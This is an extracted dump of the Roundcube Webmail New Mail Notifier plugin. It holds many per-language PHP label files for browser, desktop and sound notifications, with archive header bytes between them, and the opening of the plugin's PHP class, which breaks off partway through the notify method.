$labels['desktopdisabled'] = 'Таны хөтчийн Дэлгэцийн мэдэгдэл идэвхгүй байна.';
$labels['desktopunsupported'] = 'Таны вэб хөтөч дэлгэцийн мэдэгдэл зөвшөөрөхгүй байна.';
$labels['desktoptimeout'] = 'Дэлгэцийн мэдэгдэл хаах';
PKh�\��_KK/plugins/newmail_notifier/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'איתות מהדפדפן על הגעת הודעות חדשות';
$labels['desktop'] = 'איתות משולחן העבודה על הגעת הודעות חדשות';
$labels['sound'] = 'השמעת איתות קולי בעת הגעה של הודעה חדשה';
$labels['test'] = 'בדיקה';
$labels['title'] = 'הודעה חדשה !';
$labels['body'] = 'התקבלה הודעה חדשה';
$labels['testbody'] = 'זה איתות לנסיון';
$labels['desktopdisabled'] = 'איתותים משולחן העבודה אינם פעילים בדפדפן שלך';
$labels['desktopunsupported'] = 'הדפדפן שלך אינו תומך באיתותים משולחן העבודה';
$labels['desktoptimeout'] = 'ביטול איתות משולחן העבודה על הגעת הודעות חדשות';
PKh�\�(.e��/plugins/newmail_notifier/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Taispeáin fógraí sa líonléitheoir nuair a fhaightear teachtaireacht nua';
$labels['desktop'] = 'Taispeáin fógraí ar an deasc nuair a fhaightear teachtaireacht nua';
$labels['sound'] = 'Seinn an fhuaim nuair a bhíonn teachtaireacht nua ann';
$labels['test'] = 'Tástáil';
$labels['title'] = 'Ríomhphost Nua!';
$labels['body'] = 'Tá teachtaireacht nua agat.';
$labels['testbody'] = 'Níl sa rud seo ach fógra dearbhála.';
$labels['desktopdisabled'] = 'Tá fógraí deasca díchumasaithe i do líonléitheoir.';
$labels['desktopunsupported'] = 'Ní thacaíonn do líonléitheoir le fógraí deasca.';
$labels['desktoptimeout'] = 'Dún an fógra ar an ndeasc';
PKh�\)dr�FF/plugins/newmail_notifier/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Vis browserbesked ved ny besked';
$labels['desktop'] = 'Vis skrivebordsbesked ved ny besked';
$labels['sound'] = 'Afspil en lyd ved ny besked';
$labels['test'] = 'Test';
$labels['title'] = 'Ny besked!';
$labels['body'] = 'Du har modtaget en ny besked.';
$labels['testbody'] = 'Dette er en test meddelelse.';
$labels['desktopdisabled'] = 'Skrivebordsbeskeder er deaktiveret i din browser.';
$labels['desktopunsupported'] = 'Din browser understøtter ikke skrivebordsbeskeder.';
$labels['desktoptimeout'] = 'Luk skrivebordsbesked';
PKh�\<�r�qq/plugins/newmail_notifier/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Prikaži obvestilo za nova sporočila';
$labels['desktop'] = 'Prikaži obvestila na namizju za vsa nova sporočila';
$labels['sound'] = 'Ob novem sporočilu predvajaj zvok';
$labels['test'] = 'Test';
$labels['title'] = 'Novo sporočilo';
$labels['body'] = 'Prejeli ste novo sporočilo.';
$labels['testbody'] = 'To je testno obvestilo.';
$labels['desktopdisabled'] = 'Obvestila na namizju so v vašem brskalniku onemogočena.';
$labels['desktopunsupported'] = 'Vaš brskalnik ne podpira izpis obvestil na namizju.';
$labels['desktoptimeout'] = 'Zapri obvestila na namizju';
PKh�\ķ;iTT,plugins/newmail_notifier/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['desktop'] = 'إظهار إخطارات عند تلقي رسائل جديدة';
$labels['sound'] = 'إصدار نغمة عند وصول رسالة جديدة';
$labels['test'] = 'تجريب';
$labels['title'] = 'رسالة إلكترونية جديدة !';
$labels['body'] = 'لقد تلقيتَ رسالة جديدة.';
$labels['testbody'] = 'هذا إخطار تجريبي.';
$labels['desktopunsupported'] = 'إنَّ متصفحك لا يدعم الإخطارات المكتبية.';
$labels['desktoptimeout'] = 'إغلاق إخطارات المكتب';
PKh�\�XS�TT/plugins/newmail_notifier/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['test'] = 'පිරික්සන්න';
PKh�\�"��/plugins/newmail_notifier/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Benachrichtigung im Browser bei neuer Nachricht';
$labels['desktop'] = 'Desktop-Benachrichtigung bei neuer Nachricht';
$labels['sound'] = 'Akustische Meldung bei neuer Nachricht';
$labels['test'] = 'Test';
$labels['title'] = 'Neue E-Mail!';
$labels['body'] = 'Sie haben eine neue Nachricht';
$labels['testbody'] = 'Dies ist eine Testbenachrichtigung';
$labels['desktopdisabled'] = 'Desktop-Benachrichtigungen sind deaktiviert.';
$labels['desktopunsupported'] = 'Ihr Browser unterstützt keine Desktop-Benachrichtigungen.';
$labels['desktoptimeout'] = 'Desktop-Benachrichtigung geschlossen.';
PKh�\ʾ��/plugins/newmail_notifier/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Avisera nytt meddelande i webbläsaren';
$labels['desktop'] = 'Avisera nytt meddelande på skrivbordet';
$labels['sound'] = 'Avisera nytt meddelande med ljudsignal';
$labels['test'] = 'Prova';
$labels['title'] = 'Nytt meddelande!';
$labels['body'] = 'Du har mottagit ett nytt meddelande.';
$labels['testbody'] = 'Denna avisering är ett prov.';
$labels['desktopdisabled'] = 'Avisering på skrivbordet är avstängt i webbläsaren.';
$labels['desktopunsupported'] = 'Avisering på skrivbordet stöds inte av webbläsaren.';
$labels['desktoptimeout'] = 'Stäng avisering på skrivbordet';
PKh�\�W����,plugins/newmail_notifier/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'يېڭى ئۇچۇر كەلگەندە تور كۆرگۈچ ئۇقتۇرۇشىنى كۆرسىتىش';
$labels['desktop'] = 'يېڭى خەت كەلگەندە ئۈستەل يۈزى ئۇقتۇرۇشىنى كۆرسىتىش';
$labels['sound'] = 'يېڭى ئۇچۇر كەلگەندە ئاۋاز چىقىرىش';
$labels['test'] = 'سىناق';
$labels['title'] = 'يېڭى خەت!';
$labels['body'] = 'سىزگە بىر يېڭى خەت كەلدى.';
$labels['testbody'] = 'بۇ بولسا سىناق ئۇقتۇرۇش.';
$labels['desktopdisabled'] = 'ئۈستەل يۈزى ئۇقتۇرۇشى سىزنىڭ تور كۆگۈچىڭىزدە ئىتىك.';
$labels['desktopunsupported'] = 'سىزنىڭ تور كۆرگۈچىڭىز ئۈستەل يۈزى ئۇقتۇرۇشىنى قوللىمايدۇ.';
$labels['desktoptimeout'] = 'ئۈستەل يۈزى ئۇقتۇرۇشىنى تاقاش';
PKh�\A���/plugins/newmail_notifier/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = '새로운 메시지가 도착하면 브라우저 알림 표시';
$labels['desktop'] = '새로운 메시지가 도착하면 바탕화면 알림 표시';
$labels['sound'] = '새로운 메시지가 도착하면 소리 재생';
$labels['test'] = '테스트';
$labels['title'] = '새 이메일 도착!';
$labels['body'] = '새 메시지가 수신되었습니다.';
$labels['testbody'] = '이것은 테스트 알림입니다.';
$labels['desktopdisabled'] = ' 브라우저에서 바탕화면 알림이 비활성화되었습니다.';
$labels['desktopunsupported'] = '브라우저가 바탕화면 알림을 지원하지 않습니다.';
$labels['desktoptimeout'] = '바탕화면 알림 닫기';
PKh�\�bX��/plugins/newmail_notifier/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Amosar notificacións no navegador cando entre unha mensaxe nova';
$labels['desktop'] = 'Amosar notificacións no escritorio cando chegue unha mensaxe nova';
$labels['sound'] = 'Reproducir un son cando chegue unha nova mensaxe';
$labels['test'] = 'Proba';
$labels['title'] = 'Novo Correo!';
$labels['body'] = 'Recibiches unha nova mensaxe';
$labels['testbody'] = 'Esta é unha notificación de proba';
$labels['desktopdisabled'] = 'As notificacións de escritorio están desactivadas no teu navegador';
$labels['desktopunsupported'] = 'O teu navegador non soporta notificacións de escritorio.';
$labels['desktoptimeout'] = 'Pechar notificación de escritorio';
PKh�\[X����/plugins/newmail_notifier/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'visualizza notifica nel browser per nuovi messaggi';
$labels['desktop'] = 'visualizza notifiche sul desktop per nuovi messaggi';
$labels['sound'] = 'riproduci il suono per nuovi messaggi';
$labels['test'] = 'Prova';
$labels['title'] = 'Nuovo Messaggio';
$labels['body'] = 'Hai ricevuto un nuovo messaggio';
$labels['testbody'] = 'Notifica di prova';
$labels['desktopdisabled'] = 'Le notifiche sul desktop sono disabilitate nel tuo browser';
$labels['desktopunsupported'] = 'il tuo browser non supporta le notifiche sul desktop';
$labels['desktoptimeout'] = 'Chiudi la notifica visualizzata sul desktop';
PKh�\�����/plugins/newmail_notifier/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Mostrar notificaciones del navegador al recibir un nuevo mensaje';
$labels['desktop'] = 'Mostrar notificaciones de escritorio al recibir un nuevo mensaje';
$labels['sound'] = 'Reproducir sonido al recibir un nuevo mensaje';
$labels['test'] = 'Prueba';
$labels['title'] = '¡Mensaje nuevo!';
$labels['body'] = 'Ha recibido un mensaje nuevo.';
$labels['testbody'] = 'Esta es una notificación de prueba.';
$labels['desktopdisabled'] = 'Las notificaciones de escritorio están deshabilitadas en su navegador.';
$labels['desktopunsupported'] = 'Su navegador no soporta notificaciones de escritorio.';
$labels['desktoptimeout'] = 'Cerrar notificación de escritorio';
PKh�\�Hj��/plugins/newmail_notifier/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'ബ്രൌസര്‍ അറിയിപ്പുകള്‍ പുതിയ സന്ദേശത്തില്‍ കാണിക്കുക';
$labels['desktop'] = 'ഡെസ്ക്ക്ടോപ്പ് അറിയിപ്പുകള്‍ പുതിയ സന്ദേശത്തില്‍ കാണിക്കുക';
$labels['sound'] = 'പുതിയ സന്ദേശത്തില്‍ സബ്ദം കേള്‍പ്പിക്കുക';
$labels['test'] = 'പരീക്ഷിക്കുക';
$labels['title'] = 'പുതിയ സന്ദേശം !';
$labels['body'] = 'താങ്കള്‍ക്ക് ഒരു പുതിയ സന്ദേശം ലഭിച്ചു';
$labels['testbody'] = 'ഇത് ഒരു പരീക്ഷണ അറിയിപ്പാണ്.';
$labels['desktopdisabled'] = 'താങ്കളുടെ ബ്രൌസറില്‍ ഡെസ്ക്ക്ടോപ്പ് നോട്ടിഫിക്കേഷന്‍ പ്രവര്‍ത്തനരഹിതമാണ്.';
$labels['desktopunsupported'] = 'താങ്കളുടെ ബ്രൌസ്സര്‍ ഡെസ്ക്ടോപ്പ് അറിയിപ്പുകള്‍ പിന്‍തുണയ്ക്കുന്നില്ല.';
$labels['desktoptimeout'] = 'ഡെസ്ക്ടോപ്പ് അറിയിപ്പുകൾ അടയ്ക്കുക';
PKh�\��@hh/plugins/newmail_notifier/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Toon melding in browser bij nieuw bericht';
$labels['desktop'] = 'Toon melding op bureaublad bij nieuw bericht';
$labels['sound'] = 'Geluid afspelen bij nieuw bericht';
$labels['test'] = 'Test';
$labels['title'] = 'Nieuwe e-mail!';
$labels['body'] = 'U heeft een nieuw bericht ontvangen.';
$labels['testbody'] = 'Dit is een testmelding.';
$labels['desktopdisabled'] = 'Bureaubladmeldingen zijn uitgeschakeld in uw browser.';
$labels['desktopunsupported'] = 'Uw browser ondersteunt geen bureaubladmeldingen.';
$labels['desktoptimeout'] = 'Sluit bureaubladmelding';
PKh�\n�\�aa/plugins/newmail_notifier/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Dangos hysbysiadau porwr ar neges newydd';
$labels['desktop'] = 'Dangos hysbysiadau penbwrdd ar neges newydd';
$labels['sound'] = 'Chwarae sŵn ar neges newydd';
$labels['test'] = 'Prawf';
$labels['title'] = 'Ebost Newydd!';
$labels['body'] = 'Rydych wedi derbyn neges newydd.';
$labels['testbody'] = 'Hysbysiad prawf yw hwn.';
$labels['desktopdisabled'] = 'Mae hysbysiadau penbwrdd wedi ei analluogi yn eich porwr';
$labels['desktopunsupported'] = 'Nid yw eich porwr yn cefnogi hysbysiadau penbwrdd.';
$labels['desktoptimeout'] = 'Cau hysbysiad penbwrdd';
PKh�\����dd/plugins/newmail_notifier/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Display browser notifications on new message';
$labels['desktop'] = 'Display desktop notifications on new message';
$labels['sound'] = 'Play sound on new message';
$labels['test'] = 'Test';
$labels['title'] = 'New Email!';
$labels['body'] = 'You\'ve received a new message.';
$labels['testbody'] = 'This is a test notification.';
$labels['desktopdisabled'] = 'Desktop notifications are disabled in your browser.';
$labels['desktopunsupported'] = 'Your browser does not support desktop notifications.';
$labels['desktoptimeout'] = 'Close desktop notification';
PKh�\�ǯ���/plugins/newmail_notifier/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Vís kaga kunngerðir tá ið nýtt boð verður stovna';
$labels['desktop'] = 'Vís skrivaraborð kunngerðir tá ið nýtt boð er stovna';
$labels['sound'] = 'Spæl ljóð tá ið nýtt boð verður móttikið';
$labels['test'] = 'Roynd';
$labels['title'] = 'Nýggjur teldupostur!';
$labels['body'] = 'Tú hevur móttikið eini boð.';
$labels['testbody'] = 'Hettar eru eini royndar boð.';
$labels['desktopdisabled'] = 'Skrivaraborð kunngerðir eru sløktar í tínum kaga.';
$labels['desktopunsupported'] = 'Tín kagi studlar ikki skriviborða kunngerðir.';
$labels['desktoptimeout'] = 'Sløkk skriviborða kunngerðir';
PKh�\ow���/plugins/newmail_notifier/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Pranešti apie naujus laiškus naršyklėje';
$labels['desktop'] = 'Pranešti apie naujus laiškus sistemos pranešimu';
$labels['sound'] = 'Pranešti apie naujus laiškus garsu';
$labels['test'] = 'Bandymas';
$labels['title'] = 'Naujas laiškas!';
$labels['body'] = 'Jūs gavote naują laišką.';
$labels['testbody'] = 'Tai – bandomasis pranešimas.';
$labels['desktopdisabled'] = 'Jūsų naršyklėje sistemos pranešimai išjungti.';
$labels['desktopunsupported'] = 'Jūsų naršyklėje sistemos pranešimai nepalaikomi.';
$labels['desktoptimeout'] = 'Užverti sistemos pranešimą';
PKh�\i����/plugins/newmail_notifier/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Mostrar notificação quando uma nova mensagem chegar';
$labels['desktop'] = 'Mostrar alerta no ambiente de trabalho de nova mensagem';
$labels['sound'] = 'Alerta sonoro para nova mensagem';
$labels['test'] = 'Testar';
$labels['title'] = 'Novo email!';
$labels['body'] = 'Você recebeu uma nova mensagem.';
$labels['testbody'] = 'Isto é uma notificação de teste.';
$labels['desktopdisabled'] = 'As notificações no ambiente de trabalho estão desactivadas no seu navegador.';
$labels['desktopunsupported'] = 'O seu navegador não suporta notificações no ambiente de trabalho';
$labels['desktoptimeout'] = 'Fechar notificação no ambiente de trabalho';
PKh�\Q�z�YY/plugins/newmail_notifier/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New Mail Notifier plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-newmail_notifier/
*/

$labels['basic'] = 'Εμφανίση ειδοποιήσεων πρόγραμματος περιήγησης στο νέο μήνυμα';
$labels['desktop'] = 'Εμφάνιση ειδοποιήσεων στην επιφάνεια εργασίας για νέο μήνυμα ';
$labels['sound'] = 'Ηχητική ειδοποίηση κατά την λήψη νέων μηνυμάτων';
$labels['test'] = 'Δοκιμή';
$labels['title'] = 'Nεο Email!';
$labels['body'] = 'Έχετε λάβει ένα νέο μήνυμα.';
$labels['testbody'] = 'Αυτή είναι μια δοκιμή ειδοποίησης.';
$labels['desktopdisabled'] = 'Οι ειδοποιήσεις στην επιφάνεια εργασίας ειναι απενεργοποιημένες στον περιηγητή σας.';
$labels['desktopunsupported'] = 'Ο περιηγητής σας δεν υποστηρίζει ειδοποιήσεις στην επιφάνεια εργασίας.';
$labels['desktoptimeout'] = 'Κλείσιμο ειδοποίησης επιφάνειας εργασίας';
PKh�\KG�&��-plugins/newmail_notifier/newmail_notifier.phpnu�[���<?php

/**
 * New Mail Notifier plugin
 *
 * Supports three methods of notification:
 * 1. Basic   - focus browser window and change favicon
 * 2. Sound   - play wav file
 * 3. Desktop - display desktop notification (using window.Notification API)
 *
 * @author Aleksander Machniak <alec@alec.pl>
 *
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class newmail_notifier extends rcube_plugin
{
    public $task = 'mail|settings';

    private $rc;
    private $notified;
    private $opt = [];
    private $exceptions = [];


    /**
     * Plugin initialization
     */
    function init()
    {
        $this->rc = rcmail::get_instance();

        // Preferences hooks
        if ($this->rc->task == 'settings') {
            $this->add_hook('preferences_list', [$this, 'prefs_list']);
            $this->add_hook('preferences_save', [$this, 'prefs_save']);
        }
        else { // if ($this->rc->task == 'mail') {
            // add script when not in ajax and not in frame and only in main window
            if ($this->rc->output->type == 'html' && empty($_REQUEST['_framed']) && $this->rc->action == '') {
                $this->add_texts('localization/');
                $this->rc->output->add_label('newmail_notifier.title', 'newmail_notifier.body');
                $this->include_script('newmail_notifier.js');
            }

            if ($this->rc->action == 'refresh') {
                // Load configuration
                $this->load_config();

                $this->opt['basic']   = $this->rc->config->get('newmail_notifier_basic');
                $this->opt['sound']   = $this->rc->config->get('newmail_notifier_sound');
                $this->opt['desktop'] = $this->rc->config->get('newmail_notifier_desktop');

                if (!empty($this->opt)) {
                    // Get folders to skip checking for
                    $exceptions = ['drafts_mbox', 'sent_mbox', 'trash_mbox', 'junk_mbox'];
                    foreach ($exceptions as $folder) {
                        $folder = $this->rc->config->get($folder);
                        if (strlen($folder) && $folder != 'INBOX') {
                            $this->exceptions[] = $folder;
                        }
                    }

                    $this->add_hook('new_messages', [$this, 'notify']);
                }
             }
        }
    }

    /**
     * Handler for user preferences form (preferences_list hook)
     */
    function prefs_list($args)
    {
        if ($args['section'] != 'mailbox') {
            return $args;
        }

        // Load configuration
        $this->load_config();

        // Load localization and configuration
        $this->add_texts('localization/');

        if (!empty($_REQUEST['_framed'])) {
            $this->rc->output->add_label('newmail_notifier.title', 'newmail_notifier.testbody',
                'newmail_notifier.desktopunsupported', 'newmail_notifier.desktopenabled',
                'newmail_notifier.desktopdisabled'
            );
            $this->include_script('newmail_notifier.js');
        }

        // Check that configuration is not disabled
        $dont_override = (array) $this->rc->config->get('dont_override', []);

        foreach (['basic', 'desktop', 'sound'] as $type) {
            $key = 'newmail_notifier_' . $type;
            if (!in_array($key, $dont_override)) {
                $field_id = '_' . $key;
                $input    = new html_checkbox(['name' => $field_id, 'id' => $field_id, 'value' => 1]);
                $content  = $input->show($this->rc->config->get($key))
                    . ' ' . html::a(['href' => '#', 'onclick' => 'newmail_notifier_test_'.$type.'(); return false'],
                        $this->gettext('test'));

                $args['blocks']['new_message']['options'][$key] = [
                    'title' => html::label($field_id, rcube::Q($this->gettext($type))),
                    'content' => $content
                ];
            }
        }

        $type = 'desktop_timeout';
        $key  = 'newmail_notifier_' . $type;

        if (!in_array($key, $dont_override)) {
            $field_id = '_' . $key;
            $select   = new html_select(['name' => $field_id, 'id' => $field_id, 'class' => 'custom-select']);

            foreach ([5, 10, 15, 30, 45, 60] as $sec) {
                $label = $this->rc->gettext(['name' => 'afternseconds', 'vars' => ['n' => $sec]]);
                $select->add($label, $sec);
            }

            $args['blocks']['new_message']['options'][$key] = [
                'title'   => html::label($field_id, rcube::Q($this->gettext('desktoptimeout'))),
                'content' => $select->show((int) $this->rc->config->get($key))
            ];
        }

        return $args;
    }

    /**
     * Handler for user preferences save (preferences_save hook)
     */
    function prefs_save($args)
    {
        if ($args['section'] != 'mailbox') {
            return $args;
        }

        // Load configuration
        $this->load_config();

        // Check that configuration is not disabled
        $dont_override = (array) $this->rc->config->get('dont_override', []);

        foreach (['basic', 'desktop', 'sound'] as $type) {
            $key = 'newmail_notifier_' . $type;
            if (!in_array($key, $dont_override)) {
                $args['prefs'][$key] = !empty(rcube_utils::get_input_value('_' . $key, rcube_utils::INPUT_POST));
            }
        }

        $option = 'newmail_notifier_desktop_timeout';
        if (!in_array($option, $dont_override)) {
            if ($value = (int) rcube_utils::get_input_value('_' . $option, rcube_utils::INPUT_POST)) {
                $args['prefs'][$option] = $value;
            }
        }

        return $args;
    }

    /**
     * Handler for new message action (new_messages hook)
     */
    function notify($args)
    {
        // Already notified or unexpected input
        if ($this->notified || empty($args['diff']['new'])) {
            return $args;
        }

        $mbox      = $args['mailbox'];
        $storage   = $this->rc->get_storage();
        $delimiter = $storage->get_hierarchy_delimiter();

        // Skip exception (sent/drafts) folders (and their subfolders)
